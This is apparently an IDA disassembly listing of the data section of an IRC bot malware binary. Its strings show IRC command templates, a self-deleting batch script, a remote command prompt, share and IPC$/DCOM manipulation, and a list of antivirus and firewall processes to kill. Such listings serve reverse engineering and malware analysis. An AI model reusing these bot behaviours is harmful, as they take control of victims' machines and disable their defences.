dword_43876C	dd 58h			; DATA XREF: ___:00437CDCo
					; ___:00438070o
dword_438770	dd 5Ah			; DATA XREF: ___:00437CD8o
dword_438774	dd 4Ch			; DATA XREF: ___:00437CD4o
dword_438778	dd 4Bh			; DATA XREF: ___:00437CD0o
dword_43877C	dd 4Ah			; DATA XREF: ___:00437CCCo
dword_438780	dd 48h			; DATA XREF: ___:00437CC8o
dword_438784	dd 47h			; DATA XREF: ___:00437CC4o
dword_438788	dd 46h			; DATA XREF: ___:00437CC0o
					; ___:00438038o
dword_43878C	dd 44h			; DATA XREF: ___:00437CBCo
dword_438790	dd 53h			; DATA XREF: ___:00437CB8o
dword_438794	dd 50h			; DATA XREF: ___:00437CB0o
dword_438798	dd 4Fh			; DATA XREF: ___:00437CACo
dword_43879C	dd 55h			; DATA XREF: ___:00437CA4o
word_4387A0	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437CA0o
		align 4
dword_4387A4	dd 54h			; DATA XREF: ___:00437C9Co
dword_4387A8	dd 52h			; DATA XREF: ___:00437C98o
dword_4387AC	dd 45h			; DATA XREF: ___:00437C94o
dword_4387B0	dd 57h			; DATA XREF: ___:00437C90o
dword_4387B4	dd 51h			; DATA XREF: ___:00437C8Co
dword_4387B8	dd 62h			; DATA XREF: ___:00437C80o
					; ___:0043804Co
dword_4387BC	dd 78h			; DATA XREF: ___:00437C74o
dword_4387C0	dd 7Ah			; DATA XREF: ___:00437C70o
dword_4387C4	dd 6Ch			; DATA XREF: ___:00437C6Co
dword_4387C8	dd 68h			; DATA XREF: ___:00437C60o
dword_4387CC	dd 67h			; DATA XREF: ___:00437C5Co
dword_4387D0	dd 66h,	79h		; DATA XREF: ___:00437C58o
dword_4387D8	dd 77h			; DATA XREF: ___:00437C2Co
dword_4387DC	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387E8	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387EC	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_438964	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_438994	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4389BC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389D8	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389DC	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389E0	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A4Ch, 438A44h,	2, 438A38h, 438A2Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:00438A0Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00438A08o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00438A00o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389FCo
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389F4o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389F0o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389E8o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389E4o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389DCo
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389D8o
unk_438AA0	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438AC4	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_438AF0	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_439044	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439068	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_439084	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_4390D0	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 10h
unk_439130	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439158	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439188	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_4391A8	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_439364	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 4
unk_439398	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 10h
dword_4396A0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_4396CC	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396F8	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439800
		dd offset dword_4397F4
		dd offset dword_4397E8
		dd offset dword_4397DC
		dd offset dword_4397D0
		dd offset dword_4397C4
		dd offset dword_4397B4
		dd offset dword_4397A8
		dd offset dword_43979C
		dd offset dword_439790
		dd offset dword_439784
		dd offset dword_439774
		dd offset dword_439768
		dd offset dword_439758
dword_439758	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:00439754o
dword_439768	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439750o
dword_439774	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043974Co
dword_439784	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439748o
dword_439790	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439744o
dword_43979C	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439740o
dword_4397A8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043973Co
dword_4397B4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439738o
dword_4397C4	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439734o
dword_4397D0	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439730o
dword_4397DC	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043972Co
dword_4397E8	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439728o
dword_4397F4	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439724o
dword_439800	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439720o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043971Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439718o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439714o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439710o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043970Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439708o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439704o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439700o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396FCo
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396F8o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 10h
unk_4398B0	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_4398D4	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_4398F8	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_439928	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439958	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_439980	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_4399B0	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399E4	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_439A08	dd offset dword_439A40	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 10h
		dd offset dword_439A38
		align 8
off_439A18	dd offset dword_439A34	; DATA XREF: sub_41A19D+1E3o
		dd offset off_439A30
		dd offset dword_439A2C
		dd offset off_439A28
off_439A28	dd offset dword_5C3A44	; DATA XREF: sub_419E79+217o
					; ___:00439A24o
dword_439A2C	dd 2444h		; DATA XREF: ___:00439A20o
off_439A30	dd offset byte_5C3A43	; DATA XREF: ___:00439A1Co
dword_439A34	dd 2443h		; DATA XREF: ___:off_439A18o
dword_439A38	dd 494D4441h, 244Eh	; DATA XREF: ___:00439A10o
dword_439A40	dd 24435049h, 0		; DATA XREF: ___:off_439A08o
dword_439A48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439A78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_439AA0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439ACC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_439AF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439B1C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_439B40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439B70	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439BAC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_439BE0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 10h
dword_439C30	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C60	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C80	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 10h
dword_439CB0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CE0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439D08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439D28	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D64	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D9C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DDC	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_439E50	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
